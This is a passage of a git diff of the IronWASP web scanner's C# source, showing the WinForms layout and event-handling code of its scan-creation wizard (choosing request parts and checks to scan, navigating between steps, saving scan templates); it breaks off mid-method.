this.CookieParametersMinusRB.TabStop = true; + this.CookieParametersMinusRB.Text = "-"; + this.CookieParametersMinusRB.UseVisualStyleBackColor = true; + this.CookieParametersMinusRB.CheckedChanged += new System.EventHandler(this.CookieParametersMinusRB_CheckedChanged); + // + // Five + // + this.Five.Controls.Add(this.PromptUserCB); + this.Five.Controls.Add(this.label20); + this.Five.Controls.Add(this.label8); + this.Five.Controls.Add(this.textBox3); + this.Five.Controls.Add(this.SaveTemplateLL); + this.Five.Controls.Add(this.label19); + this.Five.Controls.Add(this.StepFivePreviousBtn); + this.Five.Controls.Add(this.FinalBtn); + this.Five.Location = new System.Drawing.Point(4, 25); + this.Five.Name = "Five"; + this.Five.Size = new System.Drawing.Size(826, 332); + this.Five.TabIndex = 3; + this.Five.Text = " Done "; + this.Five.UseVisualStyleBackColor = true; + // + // PromptUserCB + // + this.PromptUserCB.AutoSize = true; + this.PromptUserCB.Location = new System.Drawing.Point(17, 64); + this.PromptUserCB.Name = "PromptUserCB"; + this.PromptUserCB.Size = new System.Drawing.Size(223, 17); + this.PromptUserCB.TabIndex = 153; + this.PromptUserCB.Text = "Prompt me for Assistance during the Scan"; + this.PromptUserCB.UseVisualStyleBackColor = true; + // + // label20 + // + this.label20.AutoSize = true; + this.label20.Location = new System.Drawing.Point(14, 38); + this.label20.Name = "label20"; + this.label20.Size = new System.Drawing.Size(573, 13); + this.label20.TabIndex = 152; + this.label20.Text = "You can opt to be prompted for assistance by IronWASP and your input can reduce t" + + "he scan duration by a huge margin."; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(14, 21); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(741, 13); + this.label8.TabIndex = 151; + this.label8.Text = "IronWASP will try to decide which requests from the crawled items must be scanned" + + ". You can help this process if you like by providing your input in real-time."; + // + // textBox3 + // + this.textBox3.BackColor = System.Drawing.SystemColors.Control; + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.ForeColor = System.Drawing.Color.Gray; + this.textBox3.Location = new System.Drawing.Point(17, 93); + this.textBox3.Multiline = true; + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(755, 148); + this.textBox3.TabIndex = 150; + this.textBox3.Text = resources.GetString("textBox3.Text"); + // + // SaveTemplateLL + // + this.SaveTemplateLL.AutoSize = true; + this.SaveTemplateLL.Location = new System.Drawing.Point(576, 266); + this.SaveTemplateLL.Name = "SaveTemplateLL"; + this.SaveTemplateLL.Size = new System.Drawing.Size(107, 13); + this.SaveTemplateLL.TabIndex = 149; + this.SaveTemplateLL.TabStop = true; + this.SaveTemplateLL.Text = "Save Scan Template"; + this.SaveTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveTemplateLL_LinkClicked); + // + // label19 + // + this.label19.AutoSize = true; + this.label19.Location = new System.Drawing.Point(14, 266); + this.label19.Name = "label19"; + this.label19.Size = new System.Drawing.Size(556, 13); + this.label19.TabIndex = 148; + this.label19.Text = "If you wish to save to the generic settings you entered so far then you can save " + + "it to a scan template file and reuse it."; + // + // StepFivePreviousBtn + // + this.StepFivePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepFivePreviousBtn.Location = new System.Drawing.Point(7, 301); + this.StepFivePreviousBtn.Name = "StepFivePreviousBtn"; + this.StepFivePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepFivePreviousBtn.TabIndex = 147; + this.StepFivePreviousBtn.Text = "<-Previous Step"; + this.StepFivePreviousBtn.UseVisualStyleBackColor = true; + this.StepFivePreviousBtn.Click += new System.EventHandler(this.StepFivePreviousBtn_Click); + // + // FinalBtn + // + this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FinalBtn.Location = new System.Drawing.Point(713, 302); + this.FinalBtn.Name = "FinalBtn"; + this.FinalBtn.Size = new System.Drawing.Size(105, 23); + this.FinalBtn.TabIndex = 146; + this.FinalBtn.Text = "Start Scan"; + this.FinalBtn.UseVisualStyleBackColor = true; + this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); + // + // SaveTemplateDialog + // + this.SaveTemplateDialog.DefaultExt = "ifst"; + this.SaveTemplateDialog.Filter = "IronWASP Full Scan Template|*.ifst"; + // + // OpenTemplateDialog + // + this.OpenTemplateDialog.DefaultExt = "ifst"; + this.OpenTemplateDialog.Filter = "IronWASP Full Scan Template|*.ifst"; + // + // StartScanWizard + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(834, 361); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(850, 400); + this.MinimumSize = new System.Drawing.Size(850, 400); + this.Name = "StartScanWizard"; + this.Text = "Scan Creation Wizard"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.StartScanWizard_FormClosing); + this.Load += new System.EventHandler(this.StartScanWizard_Load); + this.BaseTabs.ResumeLayout(false); + this.Zero.ResumeLayout(false); + this.Zero.PerformLayout(); + this.One.ResumeLayout(false); + this.One.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ConfigCrawlerThreadMaxCountTB)).EndInit(); + this.Two.ResumeLayout(false); + this.Two.PerformLayout(); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.Three.ResumeLayout(false); + this.Three.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); + this.Four.ResumeLayout(false); + this.Four.PerformLayout(); + this.groupBox5.ResumeLayout(false); + this.groupBox5.PerformLayout(); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.groupBox3.ResumeLayout(false); + this.groupBox3.PerformLayout(); + this.groupBox4.ResumeLayout(false); + this.groupBox4.PerformLayout(); + this.Five.ResumeLayout(false); + this.Five.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage Zero; + private System.Windows.Forms.TabPage One; + private System.Windows.Forms.TabPage Three; + private System.Windows.Forms.TabPage Five; + private System.Windows.Forms.Label Step1StatusLbl; + private System.Windows.Forms.ProgressBar Step1Progress; + private System.Windows.Forms.LinkLabel LoadTemplateLL; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.Button StepZeroNextBtn; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.LinkLabel linkLabel2; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.RadioButton CrawlOnlyRB; + private System.Windows.Forms.RadioButton CrawlAndScanRB; + internal System.Windows.Forms.TextBox ConfigCrawlerUserAgentTB; + private System.Windows.Forms.Label label32; + internal System.Windows.Forms.Label ConfigCrawlerThreadMaxCountLbl; + private System.Windows.Forms.Label label33; + internal System.Windows.Forms.TrackBar ConfigCrawlerThreadMaxCountTB; + private System.Windows.Forms.Button StepOnePreviousBtn; + private System.Windows.Forms.Button StepOneNextBtn; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.TextBox SpecialHeaderValueTB; + private System.Windows.Forms.TextBox SpecialHeaderNameTB; + private System.Windows.Forms.CheckBox UseSpecialHeaderCB; + private System.Windows.Forms.TabPage Two; + private System.Windows.Forms.Label label11; + internal System.Windows.Forms.TextBox StartingUrlTB; + private System.Windows.Forms.TextBox ConfigureScanUrlToAvoidTB; + private System.Windows.Forms.Label label12; + internal System.Windows.Forms.TextBox BaseUrlTB; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.RadioButton CrossProtoNoRB; + private System.Windows.Forms.RadioButton CrossProtoYesRB; + private System.Windows.Forms.Label CrossProtoQuestionLbl; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.RadioButton SubdomainNoRB; + private System.Windows.Forms.RadioButton SubdomainYesRB; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.CheckBox ConfigureScanDirAndFileGuessingCB; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Button StepTwoPreviousBtn; + private System.Windows.Forms.Button StepTwoNextBtn; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.Label label15; + internal System.Windows.Forms.CheckBox InjectHeadersCB; + internal System.Windows.Forms.CheckBox InjectCookieCB; + internal System.Windows.Forms.CheckBox InjectBodyCB; + internal System.Windows.Forms.CheckBox InjectQueryCB; + internal System.Windows.Forms.CheckBox InjectUrlPathPartsCB; + internal System.Windows.Forms.DataGridView ScanPluginsGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; + internal System.Windows.Forms.CheckBox InjectNamesCB; + private System.Windows.Forms.Button StepThreePreviousBtn; + private System.Windows.Forms.Button StepThreeNextBtn; + private System.Windows.Forms.Label label16; + private System.Windows.Forms.TabPage Four; + private System.Windows.Forms.Button StepFourPreviousBtn; + private System.Windows.Forms.Button StepFourNextBtn; + private System.Windows.Forms.GroupBox groupBox5; + internal System.Windows.Forms.CheckBox HeadersParametersFilterCB; + internal System.Windows.Forms.TextBox HeadersParametersPlusTB; + internal System.Windows.Forms.TextBox HeadersParametersMinusTB; + internal System.Windows.Forms.RadioButton HeadersParametersPlusRB; + internal System.Windows.Forms.RadioButton HeadersParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox1; + internal System.Windows.Forms.CheckBox QueryParametersFilterCB; + internal System.Windows.Forms.TextBox QueryParametersPlusTB; + internal System.Windows.Forms.TextBox QueryParametersMinusTB; + internal System.Windows.Forms.RadioButton QueryParametersPlusRB; + internal System.Windows.Forms.RadioButton QueryParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox3; + internal System.Windows.Forms.CheckBox BodyParametersFilterCB; + internal System.Windows.Forms.TextBox BodyParametersPlusTB; + internal System.Windows.Forms.TextBox BodyParametersMinusTB; + internal System.Windows.Forms.RadioButton BodyParametersPlusRB; + internal System.Windows.Forms.RadioButton BodyParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox4; + internal System.Windows.Forms.CheckBox CookieParametersFilterCB; + internal System.Windows.Forms.TextBox CookieParametersPlusTB; + internal System.Windows.Forms.TextBox CookieParametersMinusTB; + internal System.Windows.Forms.RadioButton CookieParametersPlusRB; + internal System.Windows.Forms.RadioButton CookieParametersMinusRB; + private System.Windows.Forms.Button StepFivePreviousBtn; + private System.Windows.Forms.Button FinalBtn; + private System.Windows.Forms.Label label17; + private System.Windows.Forms.Label label18; + internal System.Windows.Forms.CheckBox ScanAllPluginsCB; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.LinkLabel SaveTemplateLL; + private System.Windows.Forms.Label label19; + internal System.Windows.Forms.TextBox Step1StatusTB; + internal System.Windows.Forms.TextBox Step2StatusTB; + internal System.Windows.Forms.TextBox Step3StatusTB; + internal System.Windows.Forms.TextBox Step4StatusTB; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.SaveFileDialog SaveTemplateDialog; + private System.Windows.Forms.OpenFileDialog OpenTemplateDialog; + private System.Windows.Forms.Label ScanTemplateNameLbl; + internal System.Windows.Forms.CheckBox PromptUserCB; + private System.Windows.Forms.Label label20; + private System.Windows.Forms.Label label8; + } } \ No newline at end of file diff --git a/IronWASP/StartScanWizard.cs b/Iron/StartScanWizard.cs similarity index 97% rename from IronWASP/StartScanWizard.cs rename to Iron/StartScanWizard.cs index b3b896f..fdbac78 100644 --- a/IronWASP/StartScanWizard.cs +++ b/Iron/StartScanWizard.cs @@ -1,1114 +1,1114 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using System.Xml; -using System.IO; - -namespace IronWASP -{ - internal partial class StartScanWizard : Form - { - bool CanClose = false; - - internal Request BaseRequest; - Thread T; - - int CurrentStep = 0; - - public StartScanWizard() - { - InitializeComponent(); - } - - private void QueryParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersFilterCB.Checked) - { - QueryParametersPlusRB.Enabled = true; - QueryParametersMinusRB.Enabled = true; - QueryParametersPlusTB.Enabled = true; - QueryParametersMinusTB.Enabled = true; - } - else - { - QueryParametersPlusRB.Enabled = false; - QueryParametersMinusRB.Enabled = false; - QueryParametersPlusTB.Enabled = false; - QueryParametersMinusTB.Enabled = false; - } - } - - private void BodyParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersFilterCB.Checked) - { - BodyParametersPlusRB.Enabled = true; - BodyParametersMinusRB.Enabled = true; - BodyParametersPlusTB.Enabled = true; - BodyParametersMinusTB.Enabled = true; - } - else - { - BodyParametersPlusRB.Enabled = false; - BodyParametersMinusRB.Enabled = false; - BodyParametersPlusTB.Enabled = false; - BodyParametersMinusTB.Enabled = false; - } - } - - private void CookieParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersFilterCB.Checked) - { - CookieParametersPlusRB.Enabled = true; - CookieParametersMinusRB.Enabled = true; - CookieParametersPlusTB.Enabled = true; - CookieParametersMinusTB.Enabled = true; - } - else - { - CookieParametersPlusRB.Enabled = false; - CookieParametersMinusRB.Enabled = false; - CookieParametersPlusTB.Enabled = false; - CookieParametersMinusTB.Enabled = false; - } - } - - private void HeadersParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersFilterCB.Checked) - { - HeadersParametersPlusRB.Enabled = true; - HeadersParametersMinusRB.Enabled = true; - HeadersParametersPlusTB.Enabled = true; - HeadersParametersMinusTB.Enabled = true; - } - else - { - HeadersParametersPlusRB.Enabled = false; - HeadersParametersMinusRB.Enabled = false; - HeadersParametersPlusTB.Enabled = false; - HeadersParametersMinusTB.Enabled = false; - } - } - - void RefreshInjectNamesText() - { - StringBuilder SB = new StringBuilder(); - - if (InjectQueryCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Query"); - } - if (InjectBodyCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Body"); - } - if (InjectCookieCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Cookie"); - } - if (InjectHeadersCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Header"); - } - - InjectNamesCB.Text = string.Format("Parameter Names of {0}", SB.ToString()); - } - - private void InjectQueryCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectQueryCB.Checked) - { - QueryParametersFilterCB.Enabled = true; - } - else - { - QueryParametersFilterCB.Checked = false; - QueryParametersFilterCB.Enabled = false; - } - } - - private void InjectBodyCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectBodyCB.Checked) - { - BodyParametersFilterCB.Enabled = true; - } - else - { - BodyParametersFilterCB.Checked = false; - BodyParametersFilterCB.Enabled = false; - } - } - - private void InjectCookieCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectCookieCB.Checked) - { - CookieParametersFilterCB.Enabled = true; - } - else - { - CookieParametersFilterCB.Checked = false; - CookieParametersFilterCB.Enabled = false; - } - } - - private void InjectHeadersCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectHeadersCB.Checked) - { - HeadersParametersFilterCB.Enabled = true; - } - else - { - HeadersParametersFilterCB.Checked = false; - HeadersParametersFilterCB.Enabled = false; - } - } - - private void StartScanWizard_Load(object sender, EventArgs e) - { - foreach (string Name in ActivePlugin.List()) - { - ScanPluginsGrid.Rows.Add(new object[]{true, Name}); - } - if (InjectQueryCB.Checked) QueryParametersFilterCB.Enabled = true; - if (InjectBodyCB.Checked) BodyParametersFilterCB.Enabled = true; - if (InjectCookieCB.Checked) CookieParametersFilterCB.Enabled = true; - if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Enabled = true; - if(BaseRequest != null) - { - StartingUrlTB.Text = BaseRequest.Url; - BaseUrlTB.Text = "/"; - if (BaseRequest.SSL) - { - CrossProtoQuestionLbl.Text = string.Format(CrossProtoQuestionLbl.Text, "HTTP"); - } - else - { - CrossProtoQuestionLbl.Text = string.Format(CrossProtoQuestionLbl.Text, "HTTPS"); - } - } - Step1StatusLbl.Text = "Checking if the provided Url is reachable, please wait..."; - Step1Progress.Visible = true; - T = new Thread(CheckTargetConnectivity); - T.Start(); - } - - private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanPluginsGrid.SelectedRows == null) return; - if (ScanPluginsGrid.SelectedRows.Count == 0) return; - - if ((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) - { - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = false; - ScanAllPluginsCB.Checked = false; - } - else - { - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = true; - } - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - switch (BaseTabs.SelectedTab.Name) - { - case ("Zero"): - if (this.CurrentStep != 0) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case("One"): - if (this.CurrentStep != 1) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Two"): - if (this.CurrentStep != 2) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Three"): - if (this.CurrentStep != 3) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Four"): - if (this.CurrentStep != 4) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Five"): - if (this.CurrentStep != 5) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - } - } - - private void StepZeroNextBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 1; - this.BaseTabs.SelectTab(1); - } - - private void StepOnePreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 0; - this.BaseTabs.SelectTab(0); - } - - private void StepOneNextBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 2; - this.BaseTabs.SelectTab(2); - } - - private void StepTwoPreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 1; - this.BaseTabs.SelectTab(1); - } - - private void StepTwoNextBtn_Click(object sender, EventArgs e) - { - string Msg = CheckStep1Input(); - if (Msg.Length == 0) - { - if (CrawlOnlyRB.Checked) - { - this.CurrentStep = 5; - this.BaseTabs.SelectTab(5); - } - else - { - this.CurrentStep = 3; - this.BaseTabs.SelectTab(3); - } - } - else - { - ShowStep2Error(Msg); - } - } - - private void StepThreePreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 2; - this.BaseTabs.SelectTab(2); - } - - private void StepThreeNextBtn_Click(object sender, EventArgs e) - { - string Msg = CheckStep2Input(); - if (Msg.Length == 0) - { - this.CurrentStep = 4; - this.BaseTabs.SelectTab(4); - } - else - { - ShowStep3Error(Msg); - } - } - - private void StepFourPreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 3; - this.BaseTabs.SelectTab(3); - } - - private void StepFourNextBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 5; - this.BaseTabs.SelectTab(5); - } - - private void StepFivePreviousBtn_Click(object sender, EventArgs e) - { - if (CrawlOnlyRB.Checked) - { - this.CurrentStep = 2; - this.BaseTabs.SelectTab(2); - } - else - { - this.CurrentStep = 4; - this.BaseTabs.SelectTab(4); - } - } - - string CheckStep1Input() - { - if (!BaseUrlTB.Text.StartsWith("/")) - { - BaseUrlTB.BackColor = Color.Red; - return "value must start with /"; - } - if (!StartingUrlTB.Text.StartsWith("/")) - { - StartingUrlTB.BackColor = Color.Red; - return "value must start with /"; - } - return ""; - } - - string CheckStep2Input() - { - if (!(InjectQueryCB.Checked || InjectBodyCB.Checked || InjectCookieCB.Checked || InjectHeadersCB.Checked || InjectUrlPathPartsCB.Checked || InjectNamesCB.Checked)) - { - return "Atleat one section of the request must be selected for scanning."; - } - if (InjectQueryCB.Checked) QueryParametersFilterCB.Checked = true; - if (InjectBodyCB.Checked) BodyParametersFilterCB.Checked = true; - if (InjectCookieCB.Checked) CookieParametersFilterCB.Checked = true; - if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Checked = true; - - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - return ""; - } - } - return "Atleat one security check must be selected for scanning."; - } - - delegate void ConnectivityCheckEnd_d(bool Success); - internal void ConnectivityCheckEnd(bool Success) - { - if (Step1StatusLbl.InvokeRequired) - { - ConnectivityCheckEnd_d CALL_d = new ConnectivityCheckEnd_d(ConnectivityCheckEnd); - Step1StatusLbl.Invoke(CALL_d, new object[] { Success }); - } - else - { - if (Success) - { - Step1Progress.Visible = false; - Step1StatusLbl.Text = "Congrats! Url is reachable, proceed to the next step."; - StepZeroNextBtn.Enabled = true; - } - else - { - IronUI.UI.ConsoleScanUrlTB.ReadOnly = false; - this.CloseWindow(); - } - } - } - - delegate void ShowStep0Message_d(string Text); - internal void ShowStep0Message(string Text) - { - if (Step1StatusLbl.InvokeRequired) - { - ShowStep0Message_d CALL_d = new ShowStep0Message_d(ShowStep0Message); - Step1StatusLbl.Invoke(CALL_d, new object[] { Text }); - } - else - { - Step1StatusLbl.Text = Text; - } - } - - delegate void ShowStep0Error_d(string Text); - internal void ShowStep0Error(string Text) - { - if (Step1StatusLbl.InvokeRequired) - { - ShowStep0Error_d CALL_d = new ShowStep0Error_d(ShowStep0Error); - Step1StatusLbl.Invoke(CALL_d, new object[] { Text }); - } - else - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Red; - this.Step0StatusTB.Visible = true; - } - } - } - - void ShowStep1Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Red; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep2Error(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Red; - this.Step2StatusTB.Visible = true; - } - } - void ShowStep3Error(string Text) - { - this.Step3StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step3StatusTB.Visible = false; - } - else - { - this.Step3StatusTB.ForeColor = Color.Red; - this.Step3StatusTB.Visible = true; - } - } - void ShowStep4Error(string Text) - { - this.Step4StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step4StatusTB.Visible = false; - } - else - { - this.Step4StatusTB.ForeColor = Color.Red; - this.Step4StatusTB.Visible = true; - } - } - - private void ConfigureScanBaseUrlTB_TextChanged(object sender, EventArgs e) - { - if (BaseUrlTB.BackColor == Color.Red) - { - BaseUrlTB.BackColor = Color.White; - } - } - - private void ConfigureScanStartingUrlTB_TextChanged(object sender, EventArgs e) - { - if (StartingUrlTB.BackColor == Color.Red) - { - StartingUrlTB.BackColor = Color.White; - } - } - - void CheckTargetConnectivity() - { - try - { - BaseRequest.Source = RequestSource.Probe; - Response Res = BaseRequest.Send(); - this.ConnectivityCheckEnd(true); - } - catch (Exception Exp) - { - IronUI.ShowConsoleStatus(string.Format("Url is not reachable. Error: {0}", Exp.Message), true); - this.ConnectivityCheckEnd(false); - } - } - - private void ConfigCrawlerThreadMaxCountTB_Scroll(object sender, EventArgs e) - { - ConfigCrawlerThreadMaxCountLbl.Text = ConfigCrawlerThreadMaxCountTB.Value.ToString(); - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - IronUI.UI.ConsoleScanUrlTB.ReadOnly = false; - this.CloseWindow(); - } - - private void QueryParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersMinusRB.Checked) - { - QueryParametersFilterCB.Text = "Don't scan these Query Parameters:"; - } - } - - private void QueryParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersPlusRB.Checked) - { - QueryParametersFilterCB.Text = "Only scan these Query Parameters:"; - } - } - - private void BodyParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersMinusRB.Checked) - { - BodyParametersFilterCB.Text = "Don't scan these Body Parameters:"; - } - } - - private void BodyParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersPlusRB.Checked) - { - BodyParametersFilterCB.Text = "Only scan these Body Parameters:"; - } - } - - private void CookieParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersMinusRB.Checked) - { - CookieParametersFilterCB.Text = "Don't scan these Cookie Parameters:"; - } - } - - private void CookieParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersPlusRB.Checked) - { - CookieParametersFilterCB.Text = "Only scan these Cookie Parameters:"; - } - } - - private void HeadersParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersMinusRB.Checked) - { - HeadersParametersFilterCB.Text = "Don't scan these Header Parameters:"; - } - } - - private void HeadersParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersPlusRB.Checked) - { - HeadersParametersFilterCB.Text = "Only scan these Header Parameters:"; - } - } - - private void SaveTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - while (SaveTemplateDialog.ShowDialog() == DialogResult.OK) - { - FileInfo Info = new FileInfo(SaveTemplateDialog.FileName); - string Content = GetTemplateXml(); - if (Info.Name.Length == 0) - { - MessageBox.Show("Please enter a name"); - } - else if (!Info.Name.EndsWith(".ifst")) - { - MessageBox.Show("The file extension must be .ifst"); - } - else - { - try - { - StreamWriter Writer = new StreamWriter(Info.FullName); - Writer.Write(Content); - Writer.Close(); - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); - } - break; - } - } - } - - string GetTemplateXml() - { - StringBuilder SB = new StringBuilder(); - XmlWriterSettings XWS = new XmlWriterSettings(); - XWS.Indent = true; - XmlWriter XW = XmlWriter.Create(SB, XWS); - XW.WriteStartDocument(); - XW.WriteStartElement("scan_template"); - XW.WriteStartElement("version"); XW.WriteValue("1.0"); XW.WriteEndElement(); - XW.WriteStartElement("scan_type"); XW.WriteValue("1"); XW.WriteEndElement(); - //Crawler settings - XW.WriteStartElement("crawler_threads"); XW.WriteValue(ConfigCrawlerThreadMaxCountTB.Value); XW.WriteEndElement(); - XW.WriteStartElement("user_agent"); XW.WriteValue(ConfigCrawlerUserAgentTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("prompt_user"); XW.WriteValue(ConfigCrawlerUserAgentTB.Text); XW.WriteEndElement(); - - if (UseSpecialHeaderCB.Checked) - { - XW.WriteStartElement("spl_header_name"); XW.WriteValue(SpecialHeaderNameTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("spl_header_value"); XW.WriteValue(SpecialHeaderValueTB.Text); XW.WriteEndElement(); - } - XW.WriteStartElement("do_dir_guessing"); XW.WriteValue(ConfigureScanDirAndFileGuessingCB.Checked); XW.WriteEndElement(); - //Selected Injection Points - XW.WriteStartElement("inject_upp"); XW.WriteValue(InjectUrlPathPartsCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_query"); XW.WriteValue(InjectQueryCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_body"); XW.WriteValue(InjectBodyCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_cookie"); XW.WriteValue(InjectCookieCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_header"); XW.WriteValue(InjectHeadersCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_names"); XW.WriteValue(InjectNamesCB.Checked); XW.WriteEndElement(); - //Selected checks - XW.WriteStartElement("checks"); - StringBuilder CB = new StringBuilder(); - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (CB.Length > 0) CB.Append(", "); - 